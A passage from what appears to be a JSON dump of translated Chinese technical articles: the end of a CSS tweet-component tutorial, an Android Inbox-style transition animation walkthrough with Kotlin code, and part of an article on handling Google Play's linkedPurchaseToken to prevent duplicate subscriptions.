字符。你可以恣意发挥，像给任何其他元素设置样式一样。伪元素用来实现标记（badge）、消息提醒或其他小花样最合适不过了。\n\n### 图标按钮\n\n还有一项工作要做，那就是用图标替换按钮。我们要在 `head` 标签里添加 Font Awesome 图标字体：\n\n```html\n<link\n  rel=\"stylesheet\"\n  href=\"https://use.fontawesome.com/releases/v5.8.1/css/all.css\"\n  integrity=\"sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf\"\n  crossorigin=\"anonymous\"\n/>\n```\n\n然后用下列代码替换原来的 `ul`，新列表中的每个按钮里有图标和隐藏文字：\n\n```html\n<ul class=\"actions\">\n  <li>\n    <button>\n      <i\n        class=\"fas fa-reply\"\n        aria-hidden=\"true\"\n      ></i>\n      <span class=\"sr-only\">Reply</span>\n    </button>\n  </li>\n  <li>\n    <button>\n      <i\n        class=\"fas fa-retweet\"\n        aria-hidden=\"true\"\n      ></i>\n      <span class=\"sr-only\">Retweet</span>\n    </button>\n  </li>\n  <li>\n    <button>\n      <i\n        class=\"fas fa-heart\"\n        aria-hidden=\"true\"\n      ></i>\n      <span class=\"sr-only\">Like</span>\n    </button>\n  </li>\n  <li>\n    <button>\n      <span aria-hidden=\"true\">...</span>\n      <span class=\"sr-only\">More Actions</span>\n    </button>\n  </li>\n</ul>\n```\n\nFont Awesome 是一款图标字体，它配合斜体标签 `i` 可以展示图标。正因为它是字体，那些可以用于文字的 CSS 属性（例如 `color` 和 `font-size`）都适用于图标字体。\n\n我们在这儿做了些微调，来提升按钮的可访问性：\n\n* 特性 `aria-hidden=\"true\"` 使屏幕阅读器忽略此图标。\n* `sr-only` 类是 Font Awesome 内置的类。它让元素在你眼前隐身，但屏幕阅读器能读取到它。\n\n这里有一门由 Marcy Sutton 讲授的[关于图标按钮可访问性的免费 Egghead 课程](https://egghead.io/lessons/css-accessible-icon-buttons)。\n\n现在我们将要给按钮添加一些样式 —— 移除边框、上色以及加大字号。还要设置 `cursor: pointer`，把鼠标光标变成 “手” 型，就像超链接的效果那样。最后，用 `.actions button:hover` 选择处于 hover 状态的按钮，把它们变成蓝色。\n\n```css\n.actions button {\n  border: none;\n  color: #657786;\n  font-size: 16px;\n  cursor: pointer;\n}\n.actions button:hover {\n  color: #1da1f2;\n}\n```\n\n下面就是推文组件光芒四射的最终效果：\n\n![最终效果](https://daveceddia.com/images/tweet-finished-hover-button.png)\n\n如果你想自己调试代码，到[沙箱](https://codesandbox.io/s/q88k8n337w)里来。\n\n## 如何精进 CSS 水平\n\n最能提高 CSS 水平的就是实践。\n\n仿写你喜欢的网站。设计者和艺术家称其为 “临摹”。我写过一篇[用临摹的方法学 React](https://daveceddia.com/learn-react-with-copywork/)，其中的原则也适用于 CSS。\n\n选一些有意思的、你觉得难度大的样式效果。用 HTML 和 CSS 临摹该效果。如果卡壳了，用浏览器的调试工具看看原网站的效果是如何实现的。“栽秧苗、腿跟上、抬头看看直不直。” :)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/implement-google-inbox-style-animation-on-android.md",
    "content": "> - 原文地址：[Implement Google Inbox Style Animation on Android](https://proandroiddev.com/implement-google-inbox-style-animation-on-android-18c261baeda6)\n> - 原文作者：[Huan Nguyen](https://proandroiddev.com/@huan.nguyen?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/implement-google-inbox-style-animation-on-android.md](https://github.com/xitu/gold-miner/blob/master/TODO1/implement-google-inbox-style-animation-on-android.md)\n> - 译者：[YueYong](https://github.com/YueYongDev)\n> - 校对者：[zx-Zhu](https://github.com/zx-Zhu)\n\n# 在 Android 上实现 Google Inbox 的样式动画\n\n![](https://cdn-images-1.medium.com/max/2000/1*aPCvPk2Yoh7C2e4MovuT8Q.jpeg)\n\n作为一个 Android 用户和开发人员，我总是被精美的应用程序所吸引，这些应用程序具有漂亮而有意义的动画。对我来说，这样的应用程序不仅拥有了强大的功能，使用户的生活更便捷，同时还表现出他们背后的团队为了将用户体验提升一个层次所投入的精力和热情。我经常享受体验这些动画，然后花费数小时时间去试图复制它们。其中一个应用程序是 Google Inbox，它提供了一个漂亮的电子邮件打开/关闭动画，如下所示（如果你不熟悉它）。\n\n![](https://cdn-images-1.medium.com/max/800/1*KOc31AjVOzoNIutQPYIdow.gif)\n\n在本文中，我将带您体验在 Android 上复制动画的旅程。\n\n---\n\n### 设置\n\n为了复制动画，我构建了一个简单的带有 2 个 fragment 的应用程序 ，如下所示分别是 Email List fragment 和 Email Details fragment。\n\n![](https://cdn-images-1.medium.com/max/800/1*LoYsgZ4-uXPYdgqzXMmRmg.png)\n\n电子邮件列表 InProgress 状态（左）- 电子邮件列表 Success 状态（中）- 电子邮件详细信息（右）\n\n为了模拟电子邮件获取网络请求，我为 Email List fragment 创建了一个 `[ViewModel](https://developer.android.com/reference/android/arch/lifecycle/ViewModel)`，它生成了 2 个状态，`InProgress` 表示正在获取电子邮件，`Success` 表示电子邮件数据已成功获取并准备好呈现（网络请求被模拟为 2 秒）。\n\n```\nsealed class State {\n  object InProgress : State()\n  data class Success(val data: List<String>) : State()\n}\n```\n\nEmail List fragment 有一种方法来呈现这些状态，如下所示。\n\n```\nprivate fun render(state: State) {\n    when (state) {\n      is InProgress -> {\n        emailList.visibility = GONE\n        progressBar.visibility = VISIBLE\n      }\n\n      is Success -> {\n        emailList.visibility = VISIBLE\n        progressBar.visibility = GONE\n        emailAdapter.setData(state.data)\n      }\n}\n```\n\n每当 Email List fragment 被新加载时，都会获取电子邮件数据并呈现 `InProgress` 状态，直到电子邮件数据可用（`Success` 状态）。点击电子邮件列表中的任何电子邮件项目将使用户进入 Email Details fragment，并将用户从电子邮件详细信息中带回电子邮件列表。\n\n现在开始我们的旅程吧...\n\n### 第一站 - 那是什么样的动画？\n\n有一点是可以立刻确定的就是他是一种 `[Explode](https://developer.android.com/reference/android/transition/Explode)` 过渡动画，因为在被点击的 item 上下的 item 有过度。但是等一下，电子邮件详细信息 view 也会从点击的电子邮件项目进行转换和扩展。这意味着还有一个共享元素转换。结合我说的，下面是我做出的第一次尝试。\n\n```\noverride fun onBindViewHolder(holder: EmailViewHolder, position: Int) {\n      fun onViewClick() {\n        val viewRect = Rect()\n        holder.itemView.getGlobalVisibleRect(viewRect)\n\n        exitTransition = Explode().apply {\n          duration = TRANSITION_DURATION\n          interpolator = transitionInterpolator\n          epicenterCallback = object : Transition.EpicenterCallback() {\n                override fun onGetEpicenter(transition: Transition) = viewRect\n              }\n        }\n\n        val sharedElementTransition = TransitionSet()\n            .addTransition(ChangeBounds())\n            .addTransition(ChangeTransform())\n            .addTransition(ChangeImageTransform()).apply {\n              duration = TRANSITION_DURATION\n              interpolator = transitionInterpolator\n            }\n\n        val fragment = EmailDetailsFragment().apply {\n          sharedElementEnterTransition = sharedElementTransition\n          sharedElementReturnTransition = sharedElementTransition\n        }\n\n        activity!!.supportFragmentManager\n            .beginTransaction()\n            .setReorderingAllowed(true)\n            .replace(R.id.container, fragment)\n            .addToBackStack(null)\n            .addSharedElement(holder.itemView, getString(R.string.transition_name))\n            .commit()\n      }\n\n      holder.bindData(emails[position], ::onViewClick)\n    }\n```\n\n这是我得到的（电子邮件详细信息视图的背景设置为蓝色，以便清楚地演示过渡效果）...\n\n![](https://cdn-images-1.medium.com/max/800/1*ZuO5DDmtjvb2zY2kTyRxwQ.gif)\n\n当然这不是我想要的。这里有两个问题。\n\n1. 电子邮件项目不会同时开始转换。远离被点击条目的 items 过度的更快。\n2. 被点击的电子邮件项目上的共享元素转换与其他项目的转换不同步，即，当分别展开时，`Email 4` 和 `Email 6` 应始终粘贴在蓝色矩形的顶部和底部边缘。但他们没有！\n\n所以究竟哪里出了问题？\n\n### 第二站：开箱即用的 Explode 效果不是我想要的。\n\n在深入研究 `Explode` 源代码后，我发现了两个有趣的事实：\n\n- 它使用 `CircularPropagation` 来强制执行这样一条规则，即，当它们从屏幕上消失时，离中心远的视图过渡速度会地比离中心近的视图快。`Explode` 过渡的中心被设置为覆盖被点击的电子邮件项目的矩形。这解释了为什么未打开的电子邮件项目视图不会如上所述一起转换。\n- 电子邮件条目的上下距离和被点击的条目的上下距离是不一样的。在这种特定情况下，该距离被确定为从被点击项目的中心点到屏幕的每个角落的距离中最长的。\n\n所以我决定编写自己的 `Explode` 过渡。我将它命名为 `SlideExplode`，因为它与 `Slide` 过渡非常相似，只是有 2 个部分在 2 个相反的方向上移动。\n\n```\nimport android.animation.Animator\nimport android.animation.ObjectAnimator\nimport android.graphics.Rect\nimport android.transition.TransitionValues\nimport android.transition.Visibility\nimport android.view.View\nimport android.view.ViewGroup\n\nprivate const val KEY_SCREEN_BOUNDS = \"screenBounds\"\n\n/**\n * A simple Transition which allows the views above the epic centre to transition upwards and views\n * below the epic centre to transition downwards.\n */\nclass SlideExplode : Visibility() {\n  private val mTempLoc = IntArray(2)\n\n  private fun captureValues(transitionValues: TransitionValues) {\n    val view = transitionValues.view\n    view.getLocationOnScreen(mTempLoc)\n    val left = mTempLoc[0]\n    val top = mTempLoc[1]\n    val right = left + view.width\n    val bottom = top + view.height\n    transitionValues.values[KEY_SCREEN_BOUNDS] = Rect(left, top, right, bottom)\n  }\n\n  override fun captureStartValues(transitionValues: TransitionValues) {\n    super.captureStartValues(transitionValues)\n    captureValues(transitionValues)\n  }\n\n  override fun captureEndValues(transitionValues: TransitionValues) {\n    super.captureEndValues(transitionValues)\n    captureValues(transitionValues)\n  }\n\n  override fun onAppear(sceneRoot: ViewGroup, view: View,\n                        startValues: TransitionValues?, endValues: TransitionValues?): Animator? {\n    if (endValues == null) return null\n\n    val bounds = endValues.values[KEY_SCREEN_BOUNDS] as Rect\n    val endY = view.translationY\n    val startY = endY + calculateDistance(sceneRoot, bounds)\n    return ObjectAnimator.ofFloat(view, View.TRANSLATION_Y, startY, endY)\n  }\n\n  override fun onDisappear(sceneRoot: ViewGroup, view: View,\n                           startValues: TransitionValues?, endValues: TransitionValues?): Animator? {\n    if (startValues == null) return null\n\n    val bounds = startValues.values[KEY_SCREEN_BOUNDS] as Rect\n    val startY = view.translationY\n    val endY = startY + calculateDistance(sceneRoot, bounds)\n    return ObjectAnimator.ofFloat(view, View.TRANSLATION_Y, startY, endY)\n  }\n\n  private fun calculateDistance(sceneRoot: View, viewBounds: Rect): Int {\n    sceneRoot.getLocationOnScreen(mTempLoc)\n    val sceneRootY = mTempLoc[1]\n    return when {\n      epicenter == null -> -sceneRoot.height\n      viewBounds.top <= epicenter.top -> sceneRootY - epicenter.top\n      else -> sceneRootY + sceneRoot.height - epicenter.bottom\n    }\n  }\n}\n```\n\n现在我已经为 `SlideExplode` 交换了 `Explode`，让我们再试一次。\n\n![](https://cdn-images-1.medium.com/max/800/1*7ddUWQHt5AnSMHbH7rV2LA.gif)\n\n这样就好多了！上面和下面的项目现在开始同时转换。请注意，由于插值器设置为 `FastOutSlowIn`，因此当 `Email 4` 和 `Email 6` 分别靠近顶部和底部边缘时，它们会减慢速度。这表明 `SlideExplode` 过渡正常。\n\n但是，`Explode` 转换和共享元素转换仍未同步。我们可以看到他们正在以不同的模式移动，这表明他们的插值器可能不同。前一个过渡开始非常快，最后减速，而后者一开始很慢，一段时间后加速。\n\n但是怎么样？我确实在代码中将插值器设置相同了！\n\n### 第三站：原来是 TransitionSet 的锅！\n\n我再次深入研究源代码。这次我发现每当我将插值器设置为 `TransitionSet` 时，它都不会在过渡的时候将插值器分配给它。这仅在标准 `TransitionSet中` 发生。它的支持版本（`android.support.transition.TransitionSet`）正常工作。要解决此问题，我们可以切换到支持版本，或者使用下面的扩展函数将插值器明确地传递给包含的转换。\n\n```\nfun TransitionSet.setCommonInterpolator(interpolator: Interpolator): TransitionSet {\n  (0 until transitionCount)\n      .map { index -> getTransitionAt(index) }\n      .forEach { transition -> transition.interpolator = interpolator }\n\n  return this\n}\n```\n\n让我们在更新插值器的设置后再试一次。\n\n![](https://cdn-images-1.medium.com/max/800/1*und_Bh9Mf-pJRMnyNCO9lg.gif)\n\nYAYYYY！现在看起来很正确。但反向过渡怎么样？\n\n![](https://cdn-images-1.medium.com/max/800/1*0SnMV9Lw5_KKpFllkdzXmg.gif)\n\n没有达到我想要的结果！Explode 过渡似乎有效。但是，共享元素过渡没有。\n\n### 第四站：推迟进入转换\n\n反向过渡动画不起作用的原因是它发挥得太早。对于任何过渡的工作，它需要捕获目标视图的开始和结束状态（大小，位置，范围），在这种情况下，它们是 `Email Details` 视图和 `Email 5 item` 项。如果在 `Email 5 item` 的状态可用之前启动了反向转换，则它将无法像我们所看到的那样正常运行。\n\n这里的解决方案是推迟反向转换，直到 items 都被绘制完。幸运的是，transition 框架提供了一对 `postponeEnterTransition` 方法，它向系统标记输入过渡应该被推迟，`startPostponedEnterTransition` 表示它可以启动。请注意，必须在调用 `startPostponedEnterTransition` 后的某个时间调用 `postponeEnterTransition`。否则，将永远不会执行过渡动画，并且 fragment 也不会弹出。\n\n根据我们的设置，每当从 Email Details fragment 重新进入 Email List fragment 时，它会从 view model 中获取最新状态并立即呈现电子邮件列表。因此，如果我们推迟过渡动画，直到呈现电子邮件列表，等待时间不会太长（从死进程中恢复并弹出是一个不同的情况。这将在后面的帖子中介绍）。\n\n更新后的代码如下所示。我们推迟了 `onViewCreated` 中的 enter 转换。\n\n```\noverride fun onViewCreated(view: View, savedState: Bundle?) {\n  super.onViewCreated(view, savedInstanceState)\n  postponeEnterTransition()\n  ...\n}\n```\n\n并在渲染状态后开始推迟过渡。这是使用 [doOnPreDraw](https://android.github.io/android-ktx/core-ktx/androidx.view/android.view.-view/do-on-pre-draw.html) 完成的。\n\n```\nis Success -> {\n  ...\n  (view?.parent as? ViewGroup)?.doOnPreDraw {\n    startPostponedEnterTransition()\n  }\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*kpw-wtv3aOOki3p225Ou8Q.gif)\n\n现在它成功了！但当方向变换时这个过度效果还会存在吗？\n\n### 第五站：位置方向改变\n\n转换后，Email List fragment 并没有发生反转过渡动画。经过一些调试后，我发现当 fragment 的方向发生改变时，过渡动画也被销毁了。因此，应在 fragment 被销毁后重新创建过渡动画。此外，由于屏幕尺寸和 UI 差异，`Explode` 的过渡中心在纵向和横向模式下通常是不相同的。因此我们也需要更新中心区域。\n\n这要求我们跟踪点击项目的位置并在方向更改时重新记录，这将导致更新的代码如下。\n\n```\noverride fun onViewCreated(view: View, savedState: Bundle?) {\n  super.onViewCreated(view, savedState)\n  tapPosition = savedState?.getInt(TAP_POSITION, NO_POSITION) ?: NO_POSITION\n  postponeEnterTransition()\n   ...\n}\n...\nprivate fun render(state: State) {\n  when (state) {\n   ... \n   is Success -> {\n      ...\n      (view?.parent as? ViewGroup)?.doOnPreDraw {\n          if (exitTransition == null) {\n            exitTransition = SlideExplode().apply {\n              duration = TRANSITION_DURATION\n              interpolator = transitionInterpolator\n            }\n          }\n\n          val layoutManager = emailList.layoutManager as LinearLayoutManager\n          layoutManager.findViewByPosition(tapPosition)?.let { view ->\n            view.getGlobalVisibleRect(viewRect)\n            (exitTransition as Transition).epicenterCallback =\n                object : Transition.EpicenterCallback() {\n                  override fun onGetEpicenter(transition: Transition) = viewRect\n                }\n          }\n\n          startPostponedEnterTransition()\n        }\n    }\n  }\n}\n...\noverride fun onSaveInstanceState(outState: Bundle) {\n  super.onSaveInstanceState(outState)\n  outState.putInt(TAP_POSITION, tapPosition)\n}\n```\n\n### 第六站：处理 Activity 被销毁和进程被杀死的情况\n\n过渡动画现在可以在方向变化中存活，但在 activity 被销毁或者进程被杀死时又会有什么样的效果呢？在我们的特定方案中，电子邮件列表 viewModel 在任何一种情况下都不存活，因此电子邮件数据也不存在。我们的转换取决于所点击的电子邮件项目的位置，因此如果数据丢失则无法使用。\n\n奇怪的是，我查看了几个著名的应用程序，看看它们在这种情况下如何处理转换：\n\n- Google Inbox：有趣的是，它不需要处理这种情况，因为它会在活动被销毁后重新加载电子邮件列表（而不是电子邮件详细信息）。\n- Google Play：活动销毁或处理死亡后没有反向共享元素转换。\n- Plaid (不是一个真正的应用程序，但却是 Android 上的一个优秀的 material design 的 demo）：即使在方向改变之后（截至编写时），也没有反向共享元素过渡。\n\n虽然上面的列表没有足够的结论来处理 Android 应用程序在这种情况下处理转换的模式，但它至少显示了一些观点。\n\n回到我们的具体问题，通常有两种可能性取决于每个应用程序处理此类情况的方法：（1）忽略丢失的数据并重新获取数据，以及（2）保留数据并恢复数据。由于这篇文章主要是关于过渡动画，所以我不打算讨论在什么情况下哪种方法更好以及为什么等。如果采用方法（1），则不应该进行反向转换，因为我们不知道先前被点击的电子邮件项目是否会被取回，即使知道，我们不知道它在列表中的位置。如果采用方法（2），我们可以像定向改变方案那样进行转换。\n\n方法（1）是我在这种特定情况下的偏好，因为新的电子邮件可能每分钟都会出现，因此在活动销毁或处理死亡之后重新加载过时的电子邮件列表是没有用的，这通常发生在用户离开应用程序一段时间之后。在我们的设置中，当activity 被销毁或进程被杀死后后重新创建电子邮件列表片段时，将自动获取电子邮件数据，因此不需要做太多工作。我们只需要确保在呈现 `InProgress` 状态时调用 `startPostponedEnterTransition`：\n\n```\nis InProgress -> {\n  ...\n  (view?.parent as? ViewGroup)?.doOnPreDraw {\n    startPostponedEnterTransition()\n  }\n}\n```\n\n### 第七站：让过渡动画更加平滑\n\n到目前为止,我们已经有了一个基本的 “Inbox style” 过渡。有很多方法实现平滑。一个例子是在展开细节时呈现淡入效果，类似于收件箱应用程序的功能。这可以通过以下方式实现：\n\n```\nclass EmailDetailsFragment : Fragment() {\n  ...\n  override fun onViewCreated(view: View, savedState: Bundle?) {\n    super.onViewCreated(view, savedState)\n\n    val content = view.findViewById<View>(R.id.content).also { it.alpha = 0f }\n\n    ObjectAnimator.ofFloat(content, View.ALPHA, 0f, 1f).apply {\n      startDelay = 50\n      duration = 150\n      start()\n    }\n  }\n}\n```\n\n过渡动画现在看起来如下。\n\n![](https://cdn-images-1.medium.com/max/800/1*viOG8N-3JVhlxJRTW13JpA.gif)\n\n### 他已经被完全复制了吗？\n\n基本上是。唯一缺少的是能够垂直滑动电子邮件详细信息视图以显示电子邮件列表中的其他电子邮件，并通过释放手指触发反向过渡，就和下面的 GIF 图所展示的效果一样。\n\n![](https://cdn-images-1.medium.com/max/800/1*duoZc7YrobM4PDa0TzOtAQ.gif)\n\n这样的动画对我来说很有意义，因为如果用户可以点击电子邮件项目来打开/展开它，他自然会拖下电子邮件详细信息来隐藏/折叠它。目前我正在探索实现这种效果的几个选项，它们将在下一篇文章中讨论。\n\n---\n\n那就这样吧。实现动画是 Android 开发中一个具有挑战性但又有趣的部分。我希望你喜欢和我一样喜欢动画。源代码可以在[这里](https://github.com/huan-nguyen/InboxStyleAnimation)找到。欢迎提出反馈/意见/讨论！\n\n- [Android](https://proandroiddev.com/tagged/android?source=post)\n- [Transitions](https://proandroiddev.com/tagged/transitions?source=post)\n- [Animation](https://proandroiddev.com/tagged/animation?source=post)\n- [Material](https://proandroiddev.com/tagged/material-design?source=post)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/implementing-linkedpurchasetoken-correctly-to-prevent-duplicate-subscriptions.md",
    "content": "> * 原文地址：[Implementing linkedPurchaseToken correctly to prevent duplicate subscriptions](https://medium.com/androiddevelopers/implementing-linkedpurchasetoken-correctly-to-prevent-duplicate-subscriptions-82dfbf7167da)\n> * 原文作者：[Emilie Roberts](https://medium.com/@emilieroberts?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-linkedpurchasetoken-correctly-to-prevent-duplicate-subscriptions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-linkedpurchasetoken-correctly-to-prevent-duplicate-subscriptions.md)\n> * 译者：[yuwhuawang](https://github.com/yuwhuawang)\n> * 校对者：[zx-Zhu](https://github.com/zx-Zhu)\n\n# 正确实现 linkedPurchaseToken 以避免重复订阅\n\n你是否在使用 Google Play 的订阅功能？要确保你的后端服务实现的方式是正确的。\n\n订阅 REST APIs 是管理用户订阅的真实可信来源。[Purchases.subscriptions API](https://developers.google.com/android-publisher/api-ref/purchases/subscriptions#resource) 的返回包括一个非常重要的字段叫做 **linkedPurchaseToken。** 恰当的处理这个字段，对于保证正确的用户能够访问你的内容是非常重要的。\n\n![](https://cdn-images-1.medium.com/max/800/1*akzNIZFqfp7xMmv2DYSlVA.jpeg)\n\n### 它是如何工作的？\n\n就像 [订阅文档](https://developer.android.com/google/play/billing/billing_subscriptions#Allow-upgrade) 里指出的, 每一笔新的 Google Play 的购买流程 —— 初始化购买、升级和降级还有 [重新注册¹](#eb81) —— 都会产生一个新的购买令牌。而 **linkedPurchaseToken** 字段则可以用来识别属于同一个订阅的多个购买令牌。\n\n打个比方，一个用户购买了一个订阅并且收到一个购买令牌 A。**linkedPurchaseToken** 字段（灰色圆圈）在 API 的返回里没有值，因为这个购买令牌属于一个全新的订阅。\n\n![](https://cdn-images-1.medium.com/max/800/1*GRrs01R-tlUNxzDGnQqGSw.png)\n\n如果用户升级了他们的订阅，一个新的购买令牌 B 产生了。既然这个升级替代了购买令牌 A 代表的订阅，令牌 B 的 **linkedPurchaseToken** 字段（灰色圆圈显示的）将会指向令牌 A。注意它按照时间的逆序指向原始的购买令牌。\n\n![](https://cdn-images-1.medium.com/max/800/1*TeEsm7UtgRWQbgDizGEIjQ.png)\n\n购买令牌 B 将会是唯一被更新的令牌。购买令牌 A 不应该用来授权用户获取你的内容。\n\n**注意：** 更新订阅时，如果你查询 Google Play 的订单服务器，购买令牌 A 和 B 都会是激活的。我们会在 [下一节](#14e4) 里讨论这个问题。\n\n现在，让我们假设一个另一个用户执行了以下操作：订阅、升级和降级。原始的订阅会创建购买令牌 C，升级操作会创建购买令牌 D，降级操作会创建购买令牌 E。每一个令牌都会按照时间的逆序指向前一个令牌。\n\n![](https://cdn-images-1.medium.com/max/800/1*T_m70ZdZp_PINQW4WFGmow.png)\n\n让我们在这个例子里加上第三个用户。这个用户一直在改变主意。在初始化订阅之后，用户又一连三次取消了订阅然后重新订阅（[重新订阅](#eb81)）。初始化订阅创建了购买令牌 F，重新订阅创建了 G、H 和 I。购买令牌 I 是最近的令牌。\n\n![](https://cdn-images-1.medium.com/max/800/1*PXSvlU_mV6F3DbZmm2Pb_w.png)\n\n最近的令牌 B、E 和 I 分别代表了用户 1、2、3 的最终授权和付账的订阅。只有这些最近的令牌才有相应的权利。然而对于 Google Play 来讲，如果初始的过期时间还没到，所有的令牌都是“有效的”。\n\n也就是说，如果你通过 [获取订阅 API](https://developers.google.com/android-publisher/api-ref/purchases/subscriptions/get#response) 来查询这些令牌，包括上面的图表内的 A, D, F, G和H，你会得到 [订阅资源响应](https://developers.google.com/android-publisher/api-ref/purchases/subscriptions#resource) ，响应里表明订阅还没有过期并且付款已经收到，即便如此你也只应该根据最近的令牌来授权。\n\n第一眼看上去很奇怪：为什么最初的令牌还是在被更新后还是有效的？简单来说是这样实现能让开发者更灵活地提供内容和服务，也让 Google 更好的保护用户隐私。然而这也确实需要你在后端服务器上进行重点记录\n\n### 操作 linkedPurchaseToken\n\n每次当你确认一个订阅，你的后台服务都应该检查 **linkedPurchaseToken** 字段有没有被设定。如果已经被设定，该字段的值就代表着前一个被替换的令牌。你应该立刻把前一个令牌标记为失效，这样用户就不能使用这个令牌访问你的内容。\n\n我们再来看看上面例子里的用户 1, 当后端服务器收到了代表初始购买的凭证 A，该凭证 A 的 **linkedPurchaseToken** 字段为空，这时应根据凭证进行授权。接下来，当后端服务器接收到更新后新的购买凭证 B，服务器会检查 **linkedPurchaseToken** 字段，发现它被设置为令牌 A，于是就禁掉令牌 A 的授权。\n\n![](https://cdn-images-1.medium.com/max/800/1*AelIWEUip7r0BfdTrYwnMQ.png)\n\n这样的话，后端数据库总是保存有效权限的购买凭证。以用户 3 的例子来说，数据库的状态变化应该如下图：\n\n![](https://cdn-images-1.medium.com/max/800/1*ZnPLMmL6oAeLtYX-OBtEgw.png)\n\n检查 **linkedPurchaseToken** 的伪代码：\n\n你可以在一个开源的，端对端订阅的应用 [优雅出租车](https://github.com/googlesamples/android-play-billing/tree/master/ClassyTaxi) 的后台 Firebase 上看一些例子，特别是看 **disableReplacedSubscription** 方法，它在 [PurchasesManager.ts](https://github.com/googlesamples/android-play-billing/blob/5415f5563d5aeaf3f0e7e4457f826de9bf12a590/ClassyTaxi/firebase/server/src/play-billing/PurchasesManager.ts#L163) 里。\n\n### 清理现有的数据库\n\n现在你的后端应该和最新的，接连到来的购买令牌保持同步，你会检查每一个购买的 **linkedPurchaseToken** 字段，并且每一个对应着被替换订阅的令牌，都被正确的禁用了。这太棒了！\n\n但是如果你有一个已有的订阅数据的数据库，并且没有根据 **linkedPurchaseToken** 字段来调整？你需要在这个数据库上跑一个一次性的清理算法。\n\n在很多情况下清理数据库中最重要的工作就是，一个令牌是否被能够授权相应的内容和服务。也就是说：并不需要对每一个订阅重新创建升级/降级/重新订阅的购买历史，而只需要确定每个令牌正确的授权情况。一次性的数据库清理任务就可以把订阅状态整理清楚。接下来，新到来的订阅就需要像上一节中描述的那样处理。\n\n想象一下上面三个用户的购买凭证都存在数据库里。这些购买可能出现在任何时间，顺序也不一样。如果清理功能正确处理的话，令牌 B、E 和 I 最终会被标记为有效授权，而其他的令牌则会被禁用。\n\n对数据库进行一次遍历，并检查每一项。如果 **linkedPurchaseToken** 字段被设置，就把这个字段包括的字段禁用。根据下面的图表，我们从上到下移动：\n\n![](https://cdn-images-1.medium.com/max/800/1*vl8exBJCC-F-dKcE9hSmFg.png)\n\n元素 A：linkedPurchaseToken 没有被设定，移至下一项\n元素 D：linkedPurchaseToken == C，禁用 C\n元素 G：linkedPurchaseToken == F，禁用 F\n元素 E：linkedPurchaseToken == D，禁用 D\n元素 F：linkedPurchaseToken 没有被设定，移至下一项\n等等。\n\n清理现有数据库的伪代码：\n\n执行完一次性的清理之后，所有的旧令牌都会被禁用，你的数据库也就准备好了。\n\n### 简单但是重要的事\n\n现在你已经理解 **linkedPurchaseToken** 字段是怎么工作的，确保在你的后端正确的处理它。每一个有订阅功能的应用都应该检查这个字段。正确的追踪授权对于保证正确的用户，在正确的时间，被授予了正确的权利这一点来说，非常关键。\n\n### 参考资料\n\n*   Google [Play Billing Library](https://developer.android.com/google/play/billing/billing_library_overview)\n*   Subscription [upgrades and downgrades](https://developer.android.com/google/play/billing/billing_subscriptions#Allow-upgrade)\n*   [Subscriptions API](https://developers.google.com/android-publisher/api-ref/purchases/subscriptions#resource)\n*   [ClassyTaxi](https://github.com/googlesamples/android-play-billing/tree/master/ClassyTaxi) 端对端订阅的简单应用\n\n[**¹重新注册**](#895f) **是指当一个用户订阅，然后取消订阅，接着又在初始的订阅过期之前重新订阅。尽管用户不会丢失授权，新的订阅也和之前的一样，他们还是会经历另一个付款流程，因为他们承诺了未来的付款。他们会收到新的购买令牌并且 linkedPurchaseToken 字段会在升级或者降级的时候被设置。**\n\n> **本文所有的代码都遵循 [Apache 2.0 许可](https://www.apache.org/licenses/LICENSE-2.0)。本文不包括 Google 正式产品任何部分，并且只是为了参考使用。**\n\n> 文章开始的令牌图片是从 [该链接](https://commons.wikimedia.org/wiki/File:French_revolutionary_shop_token_%28FindID_530752%29.jpg) 复制的。归属：便携式古物计划/大英博物馆基金会。[知识共享](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") 下 [归属共享 2.0](https://creativecommons.org/licenses/by-sa/2.0/deed.en) 许可。\n\n感谢 [Cartland 